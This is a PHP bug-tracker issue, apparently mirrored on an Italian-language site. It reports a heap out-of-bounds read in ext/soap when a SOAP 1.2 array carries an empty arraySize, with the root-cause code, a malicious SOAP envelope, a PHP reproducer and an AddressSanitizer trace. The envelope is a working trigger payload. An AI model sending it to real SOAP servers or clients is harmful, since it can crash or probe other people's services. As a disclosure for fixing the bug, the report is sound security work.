php / php/php-src

ext/soap: heap out-of-bounds read while decoding a SOAP 1.2 array with an empty `arraySize`

Aperta
#22,887 0 commenti 1 reazione 1 assegnatario Vedi su GitHub

@devnexen ci sta già lavorando.

Dal 25/7/2026.

  • #22888 di @devnexen — aperta
Bug Extension: soap Status: Verified
Lingua principale
C
Stelle
40.4k
Fork
8.1k
Merge medio
2g 13h
PR unite (30g)
96

Descrizione

Summary

PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
enc:arraySize attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads pos[0] for the first array item.

AddressSanitizer reports a four-byte heap out-of-bounds read in
to_zval_array(). The malformed value is protocol data in a SOAP request or
reply.

Details
  • Affected component: bundled ext/soap in PHP 8.4.20
  • Affected entry points: SoapServer::handle() decoding a SOAP 1.2
    request, and SoapClient decoding a SOAP 1.2 response
  • Affected source: https://github.com/php/php-src, PHP 8.4.20;
    ext/soap/php_encoding.c
  • Root cause: calc_dimension_12() accepts an empty arraySize as zero
    dimensions, but to_zval_array() subsequently indexes the corresponding
    zero-length pos allocation.
  • Trigger condition: a SOAP 1.2 encoded array has
    enc:arraySize="" and contains at least one XML element.

calc_dimension_12() counts runs of decimal digits or * characters. An
empty string enters neither loop and returns its initial value of zero:

/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
    int i = 0, flag = 0;

    while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
        str++;
    }
    if (*str == '*') {
        i++;
        str++;
    }
    while (*str != '\0') {
        if (*str >= '0' && *str <= '9') {
            if (flag == 0) {
                i++;
                flag = 1;
            }
        } else if (*str == '*') {
            soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
        } else {
            flag = 0;
        }
        str++;
    }
    return i;
}

The SOAP 1.2 array path trusts that result. get_position_12() and the later
pos allocation both receive dimension == 0. The loop for intermediate
arrays is skipped, leaving i == 0, and the first child is inserted using
pos[i]:

/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);

/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);

/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
    /* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);

The public request path is a normal SOAP server receiving raw request XML:

<?php
function sink($value = null): void {}

$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.

An untrusted peer needs only to send the following SOAP body to that endpoint:

<?xml version="1.0"?>
<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
 xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
 xmlns:m="urn:x">
  <SOAP-ENV:Body>
    <m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The same native decoder is used when SoapClient processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.

PoC
Environment and configuration
  • PHP: PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
  • PHP source revision: PHP 8.4.20 source tree. The original build did not
    retain a git commit identifier.
  • PHP configure options:
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
  --enable-soap --enable-mbstring --enable-debug --disable-cgi \
  --disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
  --with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
  --with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
  --with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
  --with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
  --enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
  --enable-sockets --enable-opcache --with-sodium --with-readline \
  --with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
  --with-pdo-firebird=/usr --enable-zend-test
  • PHP compiler/linker flags:
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
  • Extension: bundled ext/soap, enabled with --enable-soap; no separate
    PECL module is loaded.
  • Sanitizer runtime: USE_ZEND_ALLOC=0,
    ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
    UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1. The recorded invocation
    also set LD_LIBRARY_PATH=/opt/openssl-3.2/lib64.
Reproducer
<?php

function sink($value = null): void
{
}

function envelope(string $parameter): string
{
    return '<?xml version="1.0"?>'
        . '<SOAP-ENV:Envelope'
        . ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
        . ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
        . ' xmlns:m="urn:x">'
        . '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
        . '</SOAP-ENV:Envelope>';
}

$server = new SoapServer(null, [
    'uri' => 'urn:x',
    'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');

$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
docker exec php-asan-8420 env \
  LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
  USE_ZEND_ALLOC=0 \
  ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
  UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
  /src/php/sapi/cli/php /tmp/soap-array-size-oob.php
Sanitizer report

The retained sanitizer evidence reports the following access for the empty
arraySize server trigger:

=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
    #0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
    #1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
    #2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650

The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.

PHP Version
PHP 8.4.20
Operating System

No response

Guida per i contributori

Apri la guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Valutazione

Questa issue non è ancora stata valutata.

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.